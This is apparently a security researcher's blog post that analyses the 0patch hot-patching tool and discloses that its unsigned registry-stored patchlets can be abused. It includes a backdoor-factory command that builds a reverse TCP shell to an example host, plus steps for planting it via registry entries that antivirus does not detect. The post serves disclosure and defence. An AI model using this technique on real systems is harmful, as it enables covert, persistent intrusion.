There has been some recent buzz around hot-patching with 0patch and the longevity it could add to end-of-life, unsupported software via crowd sourced community patches. This post provides a primer on hot patching and explores some of the vulnerabilities and attacker usages of 0patch. Overall, while 0patch could be useful for edge case end-of-life scenarios, it opens attacker avenues for performing subtle modifications to fully patched systems making the defender’s job exponentially more difficult.
What is Hot Patching?
Hot patching is the application of patches without shutting down and restarting the system or program, and is usually discussed when addressing issues in software that cannot lose availability. When software that is running must be patched to address a bug, the running process is patched in memory and the executable(s) may be replaced on disk (some OS’es require a reboot for the last step), and in practice service availability is not affected. The majority of InfoSec professionals have and/or still work in environments where either software, devices or the software that support these devices cannot lose service – ever. I have personally witnessed routers in a network choke point with over five-year uptime. That was years ago and it is probably still yet to be patched, rebooted and/or brought into a proper Disaster Recovery infrastructure. In a malicious sense, hot patching can also include modifying executing code to add unintended functionality to the original application to the benefit of the attacker.
Hot patching is not a new concept and I’m not going to lay out all the history of it, just reference material for further reading. Hot patching is also referred to as live patching, dynamic software updating or even monkey patching. Monkey patching refers to a less formal process of modifying executing in-memory code with less standards and assurance that the patch is fully compatible with the original compiled code. There is also Detours style patching or hooking for research purposes with other solutions including Dynamorio.
I’ve had a fascination with patching software for a couple years and I try to keep up with the changes in market and what’s new. This recently led me to 0patch. 0patch, a fairly new (beta) hot patching solution, is a Windows-only (at the moment) solution that implements hot patching via “patchlets.” The idea behind 0patch is hot patching with a focus on community-provided patches to address vulnerabilities in unsupported software that must continue to be used for years to come. I like the idea, but as with all great ideas, it’s all about implementation. So, I decided to take a quick look at 0patch and see how it works.
I had some initial concerns:
- How are patches being reviewed to ensure they are not malicious or adding new vulnerabilities to the patched software?
- Did the person writing the patch perform regression testing and understand the data structures affected by the patch?
- How are the patches ensured to be unmodified at patch time?
- Assuming there are a limited supply of people that know x86 assembly and exploit development and are most likely gainfully employed, why would they submit or review community patches for free? Plus, the jury is still out on whether open source/community driven software is more secure than closed source software – usually there needs to be recognition or money for crowdsourced work to be truly successful.
I installed 0patch in a Win7 VM and played with the Console for bit to understand general functionality. There was no information about patchlet location or how that worked so I moved all the 0patch supporting executables to my host machine.
I suspected that patchlets were stored in the registry since I did not see any files capable of containing them, so I ran strings and grep’ed through each binary looking for registry info and found what I needed in 0patchInstallerHelper.dll. I could have used procmon.exe from Sysinternals to find the same information.
Next, I browsed into the Patches registry entry to see how patchlets were implemented.
An 0patch blog post on writing a patchlet for an Adobe bug mentions a tool to create and install the patchlet itself, but it is not released yet. Based on the other information from the blog post, I took a look at the registry. In Figure 4, on the left you can see the registry tree expanded out to down through the AcroRd32.dll Key, with the following:
- A SHA-1 Key (ex: 68f1cac1e09b9ab3a6e5e4f96d86b1fab51f3af2) of the target application
- The PATCH_ID key as viewed in the application
- Within the Patch_ID Key there are two entries: Status and VulnId
- Status sets whether the patch is enabled = 1 or disabled = 0.
- VulnId points the Patch_ID to a description in the Vulnerabilities Branch
- Then the patch order assignment Key or PATCHLET_ID, in case you have multiple patchlets for one bug
In Figure 4, registry entries mean the following:
- Code = The actual patch in binary format
- Offset = The first address of the function where the patch exists
- OriginalBytes = The original bytes that are to be replaced in binary format
That’s how patches are implemented in the registry. There are more options discussed in the 0patch blog post for those that are interested.
The way 0patch works, is the 0patch drivers hook execution of a running or started process, injects the 0patchLoader(x64).dll into each progress, then applies the patch by creating a Read|Execute section of memory where the patchlet is implemented, and overriding the OriginalBytes with a hook to the Code via a JMP command. Note: Driver implementation is not covered in this blog post.
As you have probably noticed from this configuration of patches in the registry, there is no verification that a patch hasn’t been modified at any point in time after receiving an update from the 0patch severs. To modify a patch, you must have admin access. So if you have 0patch installed and are compromised, the attacker can use this route as a persistence method and carry out malicious activities.
Note: The update process for 0patch, at the time of review, is performed over https and resistant to MITM attacks.
The 0patch patching method is very similar to my pet project the-backdoor-factory (BDF). In fact, I have released a modified version of BDF to assist in the making of 0patches for deployment– checkout the 0patch branch from the BDF github repo.
Grab the exact copy of the 0patch binary you want to write a patchlet for and execute the following command. I’m using tcpview.exe from https://live.sysinternals.com as an example.
./backdoor.py –f Your_file -s reverse_shell_tcp_inline -P 8080 -H 172.16.186.1 –a
You’ll see output that looks as so:
- Grab the ‘reg’ commands and run them in an admin cmd shell and you will have yourself your own backdoor via 0patch! See my videos on using BDF with 0patch:Patching with 0patch and 0patch after update
Some explanation of what these commands are doing in order from the screenshot:
- Add Keys including file_name\sha1\Patch_ID\Patchlet_ID
- Set Patch_ID Status to 1
- Set VulnID to 4000 – of note, I’m not setting a value in the Vulnerabilities Key section, therefore details of what this patch is addressing will not show up in the console
- Set the Code to unmodified BDF output
- Set the Offset Value
- Set the Original Bytes Value
As you know, this does not modify the binary on disk. Guess what AVs see? Nothing.
As some of you know, vulnerability patching is difficult to do even with full access to source code. That’s why hot patching without source code access should be treated carefully and saved as a last resort option. Point of fact, 0patch released a “self-applying” patch to their 0patchloader(x64).dll. But while fixing the bug by self-patching, it had an unintended consequence: because each patched 0patchloader(x64).dll is loaded into every running process, every process shows up in the patched applications section. And if you make a patch without linking to the Vulnerability and VulnID (as in my examples), your patch will not be listed under the application. Easy to see the issue.
0patch is great for the attacker and performing subtle modification to fully patched systems. One could use 0patch to make the PRNG return predictable values, defeat debugger checks, dump protected content (anti-DRM) or create vulnerable applications for your CTF.
It’s possible 0patch has a niche market for patching end-of-life vulnerabilities in systems with high uptime requirements or severely out-of-support legacy software. However, a band-aid (patch) is never meant to replace a full operation (upgrade) and customers should optimally upgrade their software through manufacturer-provided and QA'ed mechanisms.
I’ve been in communication with the 0patch folks about these and other issues, and they plan on implementing signed/verified patches to prevent tampering after deployment to the client. As far as deploying community patches, I think it is a non-starter for the security paranoid without better guarantees around quality and testing before deployment.
Hopefully 0patch will create a patch-bounty market, similar to the burgeoning bug-bounty market, where businesses request patches with associated payouts and security developers submit patches with ratings on prior success and guarantees on testing.
I like the idea of 0patch, what it can be for the reverse engineer, attacker and end-of-life software. I look forward to reviewing their initial release and seeing where the market takes them.